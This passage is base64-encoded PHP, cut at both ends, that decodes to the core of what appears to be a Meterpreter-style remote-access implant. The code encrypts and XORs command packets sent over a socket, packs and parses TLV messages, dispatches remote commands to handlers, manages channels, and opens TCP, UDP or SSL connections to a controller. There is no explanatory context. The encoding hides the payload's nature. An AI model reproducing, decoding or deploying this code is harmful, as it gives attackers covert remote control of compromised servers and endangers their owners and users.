cGFja2V0KCRyYXcpIHsgaWYgKHN1cHBvcnRzX2FlcygpICYmICRHTE9CQUxTWydBRVNfS0VZJ10g
IT0gbnVsbCkgeyBpZiAoJEdMT0JBTFNbJ0FFU19FTkFCTEVEJ10gPT09IHRydWUpIHsgJGl2ID0g
cmFuZF9ieXRlcygxNik7ICRlbmMgPSAkaXYgLiBvcGVuc3NsX2VuY3J5cHQoc3Vic3RyKCRyYXcs
IDgpLCBBRVNfMjU2X0NCQywgJEdMT0JBTFNbJ0FFU19LRVknXSwgT1BFTlNTTF9SQVdfREFUQSwg
JGl2KTsgJGhkciA9IHBhY2soIk4iLCBzdHJsZW4oJGVuYykgKyA4KSAuIHN1YnN0cigkcmF3LCA0
LCA0KTsgcmV0dXJuICRHTE9CQUxTWydTRVNTSU9OX0dVSUQnXSAuIHBhY2soIk4iLCBFTkNfQUVT
MjU2KSAuICRoZHIgLiAkZW5jOyB9ICRHTE9CQUxTWydBRVNfRU5BQkxFRCddID0gdHJ1ZTsgfSBy
ZXR1cm4gJEdMT0JBTFNbJ1NFU1NJT05fR1VJRCddIC4gcGFjaygiTiIsIEVOQ19OT05FKSAuICRy
YXc7IH0gZnVuY3Rpb24gd3JpdGVfdGx2X3RvX3NvY2tldCgkcmVzb3VyY2UsICRyYXcpIHsgJHhv
ciA9IHJhbmRfeG9yX2tleSgpOyB3cml0ZSgkcmVzb3VyY2UsICR4b3IgLiB4b3JfYnl0ZXMoJHhv
ciwgZW5jcnlwdF9wYWNrZXQoJHJhdykpKTsgfSBmdW5jdGlvbiBoYW5kbGVfZGVhZF9yZXNvdXJj
ZV9jaGFubmVsKCRyZXNvdXJjZSkgeyBnbG9iYWwgJG1zZ3NvY2s7IGlmICghaXNfcmVzb3VyY2Uo
JHJlc291cmNlKSkgeyByZXR1cm47IH0gJGNpZCA9IGdldF9jaGFubmVsX2lkX2Zyb21fcmVzb3Vy
Y2UoJHJlc291cmNlKTsgaWYgKCRjaWQgPT09IGZhbHNlKSB7IG15X3ByaW50KCJSZXNvdXJjZSBo
YXMgbm8gY2hhbm5lbDogeyRyZXNvdXJjZX0iKTsgcmVtb3ZlX3JlYWRlcigkcmVzb3VyY2UpOyBj
bG9zZSgkcmVzb3VyY2UpOyB9IGVsc2UgeyBteV9wcmludCgiSGFuZGxpbmcgZGVhZCByZXNvdXJj
ZTogeyRyZXNvdXJjZX0sIGZvciBjaGFubmVsOiB7JGNpZH0iKTsgY2hhbm5lbF9jbG9zZV9oYW5k
bGVzKCRjaWQpOyAkcGt0ID0gcGFjaygiTiIsIFBBQ0tFVF9UWVBFX1JFUVVFU1QpOyBwYWNrZXRf
YWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9UWVBFX0NPTU1BTkRfSUQsIENPTU1BTkRfSURf
Q09SRV9DSEFOTkVMX0NMT1NFKSk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExW
X1RZUEVfUkVRVUVTVF9JRCwgZ2VuZXJhdGVfcmVxX2lkKCkpKTsgcGFja2V0X2FkZF90bHYoJHBr
dCwgY3JlYXRlX3RsdihUTFZfVFlQRV9DSEFOTkVMX0lELCAkY2lkKSk7IHBhY2tldF9hZGRfdGx2
KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfVVVJRCwgJEdMT0JBTFNbJ1VVSUQnXSkpOyAkcGt0
ID0gcGFjaygiTiIsIHN0cmxlbigkcGt0KSArIDQpIC4gJHBrdDsgd3JpdGVfdGx2X3RvX3NvY2tl
dCgkbXNnc29jaywgJHBrdCk7IH0gfSBmdW5jdGlvbiBoYW5kbGVfcmVzb3VyY2VfcmVhZF9jaGFu
bmVsKCRyZXNvdXJjZSwgJGRhdGEpIHsgZ2xvYmFsICR1ZHBfaG9zdF9tYXA7ICRjaWQgPSBnZXRf
Y2hhbm5lbF9pZF9mcm9tX3Jlc291cmNlKCRyZXNvdXJjZSk7IG15X3ByaW50KCJIYW5kbGluZyBk
YXRhIGZyb20gJHJlc291cmNlIik7ICRwa3QgPSBwYWNrKCJOIiwgUEFDS0VUX1RZUEVfUkVRVUVT
VCk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfQ09NTUFORF9JRCwg
Q09NTUFORF9JRF9DT1JFX0NIQU5ORUxfV1JJVEUpKTsgaWYgKGFycmF5X2tleV9leGlzdHMoKGlu
dCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXApKSB7IGxpc3QoJGgsJHApID0gJHVkcF9ob3N0X21h
cFsoaW50KSRyZXNvdXJjZV07IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZ
UEVfUEVFUl9IT1NULCAkaCkpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRMVl9U
WVBFX1BFRVJfUE9SVCwgJHApKTsgfSBwYWNrZXRfYWRkX3RsdigkcGt0LCBjcmVhdGVfdGx2KFRM
Vl9UWVBFX0NIQU5ORUxfSUQsICRjaWQpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3Rs
dihUTFZfVFlQRV9DSEFOTkVMX0RBVEEsICRkYXRhKSk7IHBhY2tldF9hZGRfdGx2KCRwa3QsIGNy
ZWF0ZV90bHYoVExWX1RZUEVfTEVOR1RILCBzdHJsZW4oJGRhdGEpKSk7IHBhY2tldF9hZGRfdGx2
KCRwa3QsIGNyZWF0ZV90bHYoVExWX1RZUEVfUkVRVUVTVF9JRCwgZ2VuZXJhdGVfcmVxX2lkKCkp
KTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRlX3RsdihUTFZfVFlQRV9VVUlELCAkR0xPQkFM
U1snVVVJRCddKSk7ICRwa3QgPSBwYWNrKCJOIiwgc3RybGVuKCRwa3QpICsgNCkgLiAkcGt0OyBy
ZXR1cm4gJHBrdDsgfSBmdW5jdGlvbiBjcmVhdGVfcmVzcG9uc2UoJHJlcSkgeyBnbG9iYWwgJGlk
MmY7ICRwa3QgPSBwYWNrKCJOIiwgUEFDS0VUX1RZUEVfUkVTUE9OU0UpOyAkY29tbWFuZF9pZF90
bHYgPSBwYWNrZXRfZ2V0X3RsdigkcmVxLCBUTFZfVFlQRV9DT01NQU5EX0lEKTsgbXlfcHJpbnQo
ImNvbW1hbmQgaWQgaXMgeyRjb21tYW5kX2lkX3RsdlsndmFsdWUnXX0iKTsgcGFja2V0X2FkZF90
bHYoJHBrdCwgJGNvbW1hbmRfaWRfdGx2KTsgJHJlcWlkX3RsdiA9IHBhY2tldF9nZXRfdGx2KCRy
ZXEsIFRMVl9UWVBFX1JFUVVFU1RfSUQpOyBwYWNrZXRfYWRkX3RsdigkcGt0LCAkcmVxaWRfdGx2
KTsgJGNvbW1hbmRfaGFuZGxlciA9ICRpZDJmWyRjb21tYW5kX2lkX3RsdlsndmFsdWUnXV07IGlm
IChpc19jYWxsYWJsZSgkY29tbWFuZF9oYW5kbGVyKSkgeyAkcmVzdWx0ID0gJGNvbW1hbmRfaGFu
ZGxlcigkcmVxLCAkcGt0KTsgfSBlbHNlIHsgbXlfcHJpbnQoIkdvdCBhIHJlcXVlc3QgZm9yIHNv
bWV0aGluZyBJIGRvbid0IGtub3cgaG93IHRvIGhhbmRsZSAoIiAuICRjb21tYW5kX2lkX3Rsdlsn
dmFsdWUnXSAuICIgLyAiLiAkY29tbWFuZF9oYW5kbGVyIC4iKSwgcmV0dXJuaW5nIGZhaWx1cmUi
KTsgJHJlc3VsdCA9IEVSUk9SX0ZBSUxVUkU7IH0gcGFja2V0X2FkZF90bHYoJHBrdCwgY3JlYXRl
X3RsdihUTFZfVFlQRV9SRVNVTFQsICRyZXN1bHQpKTsgcGFja2V0X2FkZF90bHYoJHBrdCwgY3Jl
YXRlX3RsdihUTFZfVFlQRV9VVUlELCAkR0xPQkFMU1snVVVJRCddKSk7ICRwa3QgPSBwYWNrKCJO
Iiwgc3RybGVuKCRwa3QpICsgNCkgLiAkcGt0OyByZXR1cm4gJHBrdDsgfSBmdW5jdGlvbiBjcmVh
dGVfdGx2KCR0eXBlLCAkdmFsKSB7IHJldHVybiBhcnJheSggJ3R5cGUnID0+ICR0eXBlLCAndmFs
dWUnID0+ICR2YWwgKTsgfSBmdW5jdGlvbiB0bHZfcGFjaygkdGx2KSB7ICRyZXQgPSAiIjsgaWYg
KCgkdGx2Wyd0eXBlJ10gJiBUTFZfTUVUQV9UWVBFX1NUUklORykgPT0gVExWX01FVEFfVFlQRV9T
VFJJTkcpIHsgJHJldCA9IHBhY2soIk5OYSoiLCA4ICsgc3RybGVuKCR0bHZbJ3ZhbHVlJ10pKzEs
ICR0bHZbJ3R5cGUnXSwgJHRsdlsndmFsdWUnXSAuICJcMCIpOyB9IGVsc2VpZiAoKCR0bHZbJ3R5
cGUnXSAmIFRMVl9NRVRBX1RZUEVfUVdPUkQpID09IFRMVl9NRVRBX1RZUEVfUVdPUkQpIHsgJGhp
ID0gKCR0bHZbJ3ZhbHVlJ10gPj4gMzIpICYgMHhGRkZGRkZGRjsgJGxvID0gJHRsdlsndmFsdWUn
XSAmIDB4RkZGRkZGRkY7ICRyZXQgPSBwYWNrKCJOTk5OIiwgOCArIDgsICR0bHZbJ3R5cGUnXSwg
JGhpLCAkbG8pOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfVUlOVCkg
PT0gVExWX01FVEFfVFlQRV9VSU5UKSB7ICRyZXQgPSBwYWNrKCJOTk4iLCA4ICsgNCwgJHRsdlsn
dHlwZSddLCAkdGx2Wyd2YWx1ZSddKTsgfSBlbHNlaWYgKCgkdGx2Wyd0eXBlJ10gJiBUTFZfTUVU
QV9UWVBFX0JPT0wpID09IFRMVl9NRVRBX1RZUEVfQk9PTCkgeyAkcmV0ID0gcGFjaygiTk4iLCA4
ICsgMSwgJHRsdlsndHlwZSddKTsgJHJldCAuPSAkdGx2Wyd2YWx1ZSddID8gIlx4MDEiIDogIlx4
MDAiOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfUkFXKSA9PSBUTFZf
TUVUQV9UWVBFX1JBVykgeyAkcmV0ID0gcGFjaygiTk4iLCA4ICsgc3RybGVuKCR0bHZbJ3ZhbHVl
J10pLCAkdGx2Wyd0eXBlJ10pIC4gJHRsdlsndmFsdWUnXTsgfSBlbHNlaWYgKCgkdGx2Wyd0eXBl
J10gJiBUTFZfTUVUQV9UWVBFX0dST1VQKSA9PSBUTFZfTUVUQV9UWVBFX0dST1VQKSB7ICRyZXQg
PSBwYWNrKCJOTiIsIDggKyBzdHJsZW4oJHRsdlsndmFsdWUnXSksICR0bHZbJ3R5cGUnXSkgLiAk
dGx2Wyd2YWx1ZSddOyB9IGVsc2VpZiAoKCR0bHZbJ3R5cGUnXSAmIFRMVl9NRVRBX1RZUEVfQ09N
UExFWCkgPT0gVExWX01FVEFfVFlQRV9DT01QTEVYKSB7ICRyZXQgPSBwYWNrKCJOTiIsIDggKyBz
dHJsZW4oJHRsdlsndmFsdWUnXSksICR0bHZbJ3R5cGUnXSkgLiAkdGx2Wyd2YWx1ZSddOyB9IGVs
c2UgeyBteV9wcmludCgiRG9uJ3Qga25vdyBob3cgdG8gbWFrZSBhIHRsdiBvZiB0eXBlICIuICR0
bHZbJ3R5cGUnXSAuICIgKG1ldGEgdHlwZSAiLiBzcHJpbnRmKCIlMDh4IiwgJHRsdlsndHlwZSdd
ICYgVExWX01FVEFfVFlQRV9NQVNLKSAuIiksIHd0ZiIpOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0
aW9uIHRsdl91bnBhY2soJHJhd190bHYpIHsgJHRsdiA9IHVucGFjaygiTmxlbi9OdHlwZSIsIHN1
YnN0cigkcmF3X3RsdiwgMCwgOCkpOyAkdHlwZSA9ICR0bHZbJ3R5cGUnXTsgbXlfcHJpbnQoImxl
bjogeyR0bHZbJ2xlbiddfSwgdHlwZTogeyR0bHZbJ3R5cGUnXX0iKTsgaWYgKCgkdHlwZSAmIFRM
Vl9NRVRBX1RZUEVfU1RSSU5HKSA9PSBUTFZfTUVUQV9UWVBFX1NUUklORykgeyAkdGx2ID0gdW5w
YWNrKCJObGVuL050eXBlL2EqdmFsdWUiLCBzdWJzdHIoJHJhd190bHYsIDAsICR0bHZbJ2xlbidd
KSk7ICR0bHZbJ3ZhbHVlJ10gPSBzdHJfcmVwbGFjZSgiXDAiLCAiIiwgJHRsdlsndmFsdWUnXSk7
IH0gZWxzZWlmICgoJHR5cGUgJiBUTFZfTUVUQV9UWVBFX1VJTlQpID09IFRMVl9NRVRBX1RZUEVf
VUlOVCkgeyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlL052YWx1ZSIsIHN1YnN0cigkcmF3X3Rs
diwgMCwgJHRsdlsnbGVuJ10pKTsgfSBlbHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfUVdP
UkQpID09IFRMVl9NRVRBX1RZUEVfUVdPUkQpIHsgJHRsdiA9IHVucGFjaygiTmxlbi9OdHlwZS9O
aGkvTmxvIiwgc3Vic3RyKCRyYXdfdGx2LCAwLCAkdGx2WydsZW4nXSkpOyAkdGx2Wyd2YWx1ZSdd
ID0gJHRsdlsnaGknXSA8PCAzMiB8ICR0bHZbJ2xvJ107IH0gZWxzZWlmICgoJHR5cGUgJiBUTFZf
TUVUQV9UWVBFX0JPT0wpID09IFRMVl9NRVRBX1RZUEVfQk9PTCkgeyAkdGx2ID0gdW5wYWNrKCJO
bGVuL050eXBlL2N2YWx1ZSIsIHN1YnN0cigkcmF3X3RsdiwgMCwgJHRsdlsnbGVuJ10pKTsgfSBl
bHNlaWYgKCgkdHlwZSAmIFRMVl9NRVRBX1RZUEVfUkFXKSA9PSBUTFZfTUVUQV9UWVBFX1JBVykg
eyAkdGx2ID0gdW5wYWNrKCJObGVuL050eXBlIiwgJHJhd190bHYpOyAkdGx2Wyd2YWx1ZSddID0g
c3Vic3RyKCRyYXdfdGx2LCA4LCAkdGx2WydsZW4nXS04KTsgfSBlbHNlIHsgbXlfcHJpbnQoIld0
ZiB0eXBlIGlzIHRoaXM/ICR0eXBlIik7ICR0bHYgPSBudWxsOyB9IHJldHVybiAkdGx2OyB9IGZ1
bmN0aW9uIHBhY2tldF9hZGRfdGx2KCYkcGt0LCAkdGx2KSB7ICRwa3QgLj0gdGx2X3BhY2soJHRs
dik7IH0gZnVuY3Rpb24gcGFja2V0X2dldF90bHYoJHBrdCwgJHR5cGUpIHsgJG9mZnNldCA9IDg7
IHdoaWxlICgkb2Zmc2V0IDwgc3RybGVuKCRwa3QpKSB7ICR0bHYgPSB0bHZfdW5wYWNrKHN1YnN0
cigkcGt0LCAkb2Zmc2V0KSk7IGlmICgkdHlwZSA9PSAoJHRsdlsndHlwZSddICYgflRMVl9NRVRB
X1RZUEVfQ09NUFJFU1NFRCkpIHsgcmV0dXJuICR0bHY7IH0gJG9mZnNldCArPSAkdGx2WydsZW4n
XTsgfSByZXR1cm4gbnVsbDsgfSBmdW5jdGlvbiBwYWNrZXRfZ2V0X2FsbF90bHZzKCRwa3QsICR0
eXBlKSB7IG15X3ByaW50KCJMb29raW5nIGZvciBhbGwgdGx2cyBvZiB0eXBlICR0eXBlIik7ICRv
ZmZzZXQgPSA4OyAkYWxsID0gYXJyYXkoKTsgd2hpbGUgKCRvZmZzZXQgPCBzdHJsZW4oJHBrdCkp
IHsgJHRsdiA9IHRsdl91bnBhY2soc3Vic3RyKCRwa3QsICRvZmZzZXQpKTsgaWYgKCR0bHYgPT0g
TlVMTCkgeyBicmVhazsgfSBteV9wcmludCgibGVuOiB7JHRsdlsnbGVuJ119LCB0eXBlOiB7JHRs
dlsndHlwZSddfSIpOyBpZiAoZW1wdHkoJHR5cGUpIHx8ICR0eXBlID09ICgkdGx2Wyd0eXBlJ10g
JiB+VExWX01FVEFfVFlQRV9DT01QUkVTU0VEKSkgeyBteV9wcmludCgiRm91bmQgb25lIGF0IG9m
ZnNldCAkb2Zmc2V0Iik7IGFycmF5X3B1c2goJGFsbCwgJHRsdik7IH0gJG9mZnNldCArPSAkdGx2
WydsZW4nXTsgfSByZXR1cm4gJGFsbDsgfSBmdW5jdGlvbiByZWdpc3Rlcl9zb2NrZXQoJHNvY2ss
ICRpcGFkZHI9bnVsbCwgJHBvcnQ9bnVsbCkgeyBnbG9iYWwgJHJlc291cmNlX3R5cGVfbWFwLCAk
dWRwX2hvc3RfbWFwOyBteV9wcmludCgiUmVnaXN0ZXJpbmcgc29ja2V0ICRzb2NrIGZvciAoJGlw
YWRkcjokcG9ydCkiKTsgJHJlc291cmNlX3R5cGVfbWFwWyhpbnQpJHNvY2tdID0gJ3NvY2tldCc7
IGlmICgkaXBhZGRyKSB7ICR1ZHBfaG9zdF9tYXBbKGludCkkc29ja10gPSBhcnJheSgkaXBhZGRy
LCAkcG9ydCk7IH0gfSBmdW5jdGlvbiByZWdpc3Rlcl9zdHJlYW0oJHN0cmVhbSwgJGlwYWRkcj1u
dWxsLCAkcG9ydD1udWxsKSB7IGdsb2JhbCAkcmVzb3VyY2VfdHlwZV9tYXAsICR1ZHBfaG9zdF9t
YXA7IG15X3ByaW50KCJSZWdpc3RlcmluZyBzdHJlYW0gJHN0cmVhbSBmb3IgKCRpcGFkZHI6JHBv
cnQpIik7ICRyZXNvdXJjZV90eXBlX21hcFsoaW50KSRzdHJlYW1dID0gJ3N0cmVhbSc7IGlmICgk
aXBhZGRyKSB7ICR1ZHBfaG9zdF9tYXBbKGludCkkc3RyZWFtXSA9IGFycmF5KCRpcGFkZHIsICRw
b3J0KTsgfSB9IGZ1bmN0aW9uIGNvbm5lY3QoJGlwYWRkciwgJHBvcnQsICRwcm90bz0ndGNwJykg
eyBteV9wcmludCgiRG9pbmcgY29ubmVjdCgkaXBhZGRyLCAkcG9ydCkiKTsgJHNvY2sgPSBmYWxz
ZTsgJGlwZiA9IFdJTl9BRl9JTkVUOyAkcmF3X2lwID0gJGlwYWRkcjsgaWYgKEZBTFNFICE9PSBz
dHJwb3MoJGlwYWRkciwgIjoiKSkgeyAkaXBmID0gV0lOX0FGX0lORVQ2OyAkaXBhZGRyID0gIlsi
LiAkcmF3X2lwIC4iXSI7IH0gaWYgKGlzX2NhbGxhYmxlKCdzdHJlYW1fc29ja2V0X2NsaWVudCcp
KSB7IG15X3ByaW50KCJzdHJlYW1fc29ja2V0X2NsaWVudCh7JHByb3RvfTovL3skaXBhZGRyfTp7
JHBvcnR9KSIpOyBpZiAoJHByb3RvID09ICdzc2wnKSB7ICRzb2NrID0gc3RyZWFtX3NvY2tldF9j
bGllbnQoInNzbDovL3skaXBhZGRyfTp7JHBvcnR9IiwgJGVycm5vLCAkZXJyc3RyLCA1LCBTVFJF
QU1fQ0xJRU5UX0FTWU5DX0NPTk5FQ1QpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxzZTsgfSBz
dHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsgcmVnaXN0ZXJfc3RyZWFtKCRzb2NrKTsgfSBl
bHNlaWYgKCRwcm90byA9PSAndGNwJykgeyAkc29jayA9IHN0cmVhbV9zb2NrZXRfY2xpZW50KCJ0
Y3A6Ly97JGlwYWRkcn06eyRwb3J0fSIpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxzZTsgfSBy
ZWdpc3Rlcl9zdHJlYW0oJHNvY2spOyB9IGVsc2VpZiAoJHByb3RvID09ICd1ZHAnKSB7ICRzb2Nr
ID0gc3RyZWFtX3NvY2tldF9jbGllbnQoInVkcDovL3skaXBhZGRyfTp7JHBvcnR9Iik7IGlmICgh
JHNvY2spIHsgcmV0dXJuIGZhbHNlOyB9IHJlZ2lzdGVyX3N0cmVhbSgkc29jaywgJGlwYWRkciwg
JHBvcnQpOyB9IH0gZWxzZSBpZiAoaXNfY2FsbGFibGUoJ2Zzb2Nrb3BlbicpKSB7IG15X3ByaW50
KCJmc29ja29wZW4iKTsgaWYgKCRwcm90byA9PSAnc3NsJykgeyAkc29jayA9IGZzb2Nrb3Blbigi
c3NsOi8veyRpcGFkZHJ9OnskcG9ydH0iKTsgc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7
IHJlZ2lzdGVyX3N0cmVhbSgkc29jayk7IH0gZWxzZWlmICgkcHJvdG8gPT0gJ3RjcCcpIHsgJHNv
Y2sgPSBmc29ja29wZW4oJGlwYWRkciwgJHBvcnQpOyBpZiAoISRzb2NrKSB7IHJldHVybiBmYWxz
ZTsgfSBpZiAoaXNfY2FsbGFibGUoJ3NvY2tldF9zZXRfdGltZW91dCcpKSB7IHNvY2tldF9zZXRf
dGltZW91dCgkc29jaywgMik7IH0gcmVnaXN0ZXJfc3RyZWFtKCRzb2NrKTsgfSBlbHNlIHsgJHNv
Y2sgPSBmc29ja29wZW4oJHByb3RvLiI6Ly8iLiRpcGFkZHIsJHBvcnQpOyBpZiAoISRzb2NrKSB7
IHJldHVybiBmYWxzZTsgfSByZWdpc3Rlcl9zdHJlYW0oJHNvY2ssICRpcGFkZHIsICRwb3J0KTsg
fSB9IGVsc2UgaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpIHsgbXlfcHJpbnQoInNv
Y2tldF9jcmVhdGUiKTsgaWYgKCRwcm90byA9PSAndGNwJykgeyAkc29jayA9IHNvY2tldF9jcmVh
dGUoJGlwZiwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gc29ja2V0X2Nvbm5lY3QoJHNv
Y2ssICRyYXdfaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IHJldHVybiBmYWxzZTsgfSByZWdpc3Rl
cl9zb2NrZXQoJHNvY2spOyB9IGVsc2VpZiAoJHByb3RvID09ICd1ZHAnKSB7ICRzb2NrID0gc29j
a2V0X2NyZWF0ZSgkaXBmLCBTT0NLX0RHUkFNLCBTT0xfVURQKTsgcmVnaXN0ZXJfc29ja2V0KCRz
b2NrLCAkcmF3X2lwLCAkcG9ydCk7IH0gfSByZXR1cm4gJHNvY2s7IH0gZnVuY3Rpb24gZW9mKCRy
ZXNvdXJjZSkgeyAkcmV0ID0gZmFsc2U7IHN3aXRjaCAoZ2V0X3J0eXBlKCRyZXNvdXJjZSkpIHsg
Y2FzZSAnc29ja2V0JzogYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRyZXQgPSBmZW9mKCRyZXNvdXJj
ZSk7IGJyZWFrOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0aW9uIGNsb3NlKCRyZXNvdXJjZSkgeyBt
eV9wcmludCgiQ2xvc2luZyByZXNvdXJjZSAkcmVzb3VyY2UiKTsgZ2xvYmFsICRyZXNvdXJjZV90
eXBlX21hcCwgJHVkcF9ob3N0X21hcDsgcmVtb3ZlX3JlYWRlcigkcmVzb3VyY2UpOyBzd2l0Y2gg
KGdldF9ydHlwZSgkcmVzb3VyY2UpKSB7IGNhc2UgJ3NvY2tldCc6ICRyZXQgPSBzb2NrZXRfY2xv
c2UoJHJlc291cmNlKTsgYnJlYWs7IGNhc2UgJ3N0cmVhbSc6ICRyZXQgPSBmY2xvc2UoJHJlc291
cmNlKTsgYnJlYWs7IH0gaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICRyZXNv
dXJjZV90eXBlX21hcCkpIHsgdW5zZXQoJHJlc291cmNlX3R5cGVfbWFwWyhpbnQpJHJlc291cmNl
XSk7IH0gaWYgKGFycmF5X2tleV9leGlzdHMoKGludCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXAp
KSB7IG15X3ByaW50KCJSZW1vdmluZyAkcmVzb3VyY2UgZnJvbSB1ZHBfaG9zdF9tYXAiKTsgdW5z
ZXQoJHVkcF9ob3N0X21hcFsoaW50KSRyZXNvdXJjZV0pOyB9IHJldHVybiAkcmV0OyB9IGZ1bmN0
aW9uIHJlYWQoJHJlc291cmNlLCAkbGVuPW51bGwpIHsgZ2xvYmFsICR1ZHBfaG9zdF9tYXA7IGlm
IChpc19udWxsKCRsZW4pKSB7ICRsZW4gPSA4MTkyOyB9ICRidWZmID0gJyc7IHN3aXRjaCAoZ2V0
X3J0eXBlKCRyZXNvdXJjZSkpIHsgY2FzZSAnc29ja2V0JzogaWYgKGFycmF5X2tleV9leGlzdHMo
KGludCkkcmVzb3VyY2UsICR1ZHBfaG9zdF9tYXApKSB7IG15X3ByaW50KCJSZWFkaW5nIFVEUCBz
b2NrZXQiKTsgbGlzdCgkaG9zdCwkcG9ydCkgPSAkdWRwX2hvc3RfbWFwWyhpbnQpJHJlc291cmNl
XTsgc29ja2V0X3JlY3Zmcm9tKCRyZXNvdXJjZSwgJGJ1ZmYsICRsZW4sIFBIUF9CSU5BUllfUkVB
RCwgJGhvc3QsICRwb3J0KTsgfSBlbHNlIHsgbXlfcHJpbnQoIlJlYWRpbmcgVENQIHNvY2tldCIp
OyAkYnVmZiAuPSBzb2NrZXRfcmVhZCgkcmVzb3VyY2UsICRsZW4sIFBIUF9CSU5BUllfUkVBRCk7
IH0gYnJlYWs7IGNhc2UgJ3N0cmVhbSc6IGdsb2JhbCAkbXNnc29jazsgJHIgPSBBcnJheSgkcmVz
b3VyY2UpOyBteV9wcmludCgiQ2FsbGluZyBzZWxlY3QgdG8gc2VlIGlmIHRoZXJlJ3MgZGF0YSBv
biAkcmVzb3VyY2UiKTsgJGxhc3RfcmVxdWVzdGVkX2xlbiA9IDA7IHdoaWxlICh0cnVlKSB7ICR3
PU5VTEw7JGU9TlVMTDskdD0wOyAkY250ID0gc3RyZWFtX3NlbGVjdCgkciwgJHcsICRlLCAkdCk7
IGlmICgkY250ID09PSAwKSB7IGJyZWFrOyB9IGlmICgkY250ID09PSBmYWxzZSBvciBmZW9mKCRy
ZXNvdXJjZSkpIHsgbXlfcHJpbnQoIkNoZWNraW5nIGZvciBmYWlsZWQgcmVhZC4uLiIpOyBpZiAo
ZW1wdHkoJGJ1ZmYpKSB7IG15X3ByaW50KCItLS0tIEVPRiBPTiAkcmVzb3VyY2UgLS0tLSIpOyAk
YnVmZiA9IGZhbHNlOyB9IGJyZWFrOyB9ICRtZCA9IHN0cmVhbV9nZXRfbWV0YV9kYXRhKCRyZXNv
dXJjZSk7IGR1bXBfYXJyYXkoJG1kLCAiTWV0YWRhdGEgZm9yIHskcmVzb3VyY2V9Iik7IGlmICgk
bWRbJ3VucmVhZF9ieXRlcyddID4gMCkgeyAkbGFzdF9yZXF1ZXN0ZWRfbGVuID0gbWluKCRsZW4s
ICRtZFsndW5yZWFkX2J5dGVzJ10pOyAkYnVmZiAuPSBmcmVhZCgkcmVzb3VyY2UsICRsYXN0X3Jl
cXVlc3RlZF9sZW4pOyBicmVhazsgfSBlbHNlIHsgJHRtcCA9IGZyZWFkKCRyZXNvdXJjZSwgJGxl
bik7ICRsYXN0X3JlcXVlc3RlZF9sZW4gPSAkbGVuOyAkYnVmZiAuPSAkdG1wOyBpZiAoc3RybGVu
KCR0bXApIDwgJGxlbikgeyBicmVhazsgfSB9IGlmICgkcmVzb3VyY2UgIT0gJG1zZ3NvY2spIHsg
bXlfcHJpbnQoImJ1ZmY6ICckYnVmZiciKTsgfSAkciA9IEFycmF5KCRyZXNvdXJjZSk7IH0gbXlf
cHJpbnQoc3ByaW50ZigiRG9uZSB3aXRoIHRoZSBiaWcgcmVhZCBsb29wIG9uICRyZXNvdXJjZSwg
Z290ICVkIGJ5dGVzLCBhc2tlZCBmb3IgJWQgYnl0ZXMiLCBzdHJsZW4oJGJ1ZmYpLCAkbGFzdF9y
ZXF1ZXN0ZWRfbGVuKSk7IGJyZWFrOyBkZWZhdWx0OiAkY2lkID0gZ2V0X2NoYW5uZWxfaWRfZnJv
bV9yZXNvdXJjZSgkcmVzb3VyY2UpOyAkYyA9IGdldF9jaGFubmVsX2J5X2lkKCRjaWQpOyBpZiAo
JGMgYW5kICRjWydkYXRhJ10pIHsgJGJ1ZmYgPSBzdWJzdHIoJGNbJ2RhdGEnXSwgMCwgJGxlbik7
ICRjWydkYXRhJ10gPSBzdWJzdHIoJGNbJ2RhdGEnXSwgJGxlbik7IG15X3ByaW50KCJBaGEhIGdv
dCBzb21lIGxlZnRvdmVycyIpOyB9IGVsc2UgeyBteV9wcmludCgiV3RmIGRvbid0IGtub3cgaG93
IHRvIHJlYWQgZnJvbSByZXNvdXJjZSAkcmVzb3VyY2UsIGM6ICRjIik7IGlmIChpc19hcnJheSgk
YykpIHsgZHVtcF9hcnJheSgkYyk7IH0gYnJlYWs7IH0gfSBteV9wcmludChzcHJpbnRmKCJSZWFk
ICVkIGJ5dGVzIiwgc3RybGVuKCRidWZmKSkpOyByZXR1cm4gJGJ1ZmY7IH0gZnVuY3Rpb24gd3Jp
dGUoJHJlc291cmNlLCAkYnVmZiwgJGxlbj0wKSB7IGdsb2JhbCAkdWRwX2hvc3RfbWFwOyBpZiAo
JGxlbiA9PSAwKSB7ICRsZW4gPSBzdHJsZW4oJGJ1ZmYpOyB9ICRjb3VudCA9IGZhbHNlOyBzd2l0
Y2ggKGdldF9ydHlwZSgkcmVzb3VyY2UpKSB7IGNhc2UgJ3NvY2tldCc6IGlmIChhcnJheV9rZXlf
ZXhpc3RzKChpbnQpJHJlc291cmNlLCAkdWRwX2hvc3RfbWFwKSkgeyBteV9wcmludCgiV3JpdGlu
ZyBVRFAgc29ja2V0Iik7IGxpc3QoJGhvc3QsJHBvcnQpID0gJHVkcF9ob3N0X21hcFsoaW50KSRy
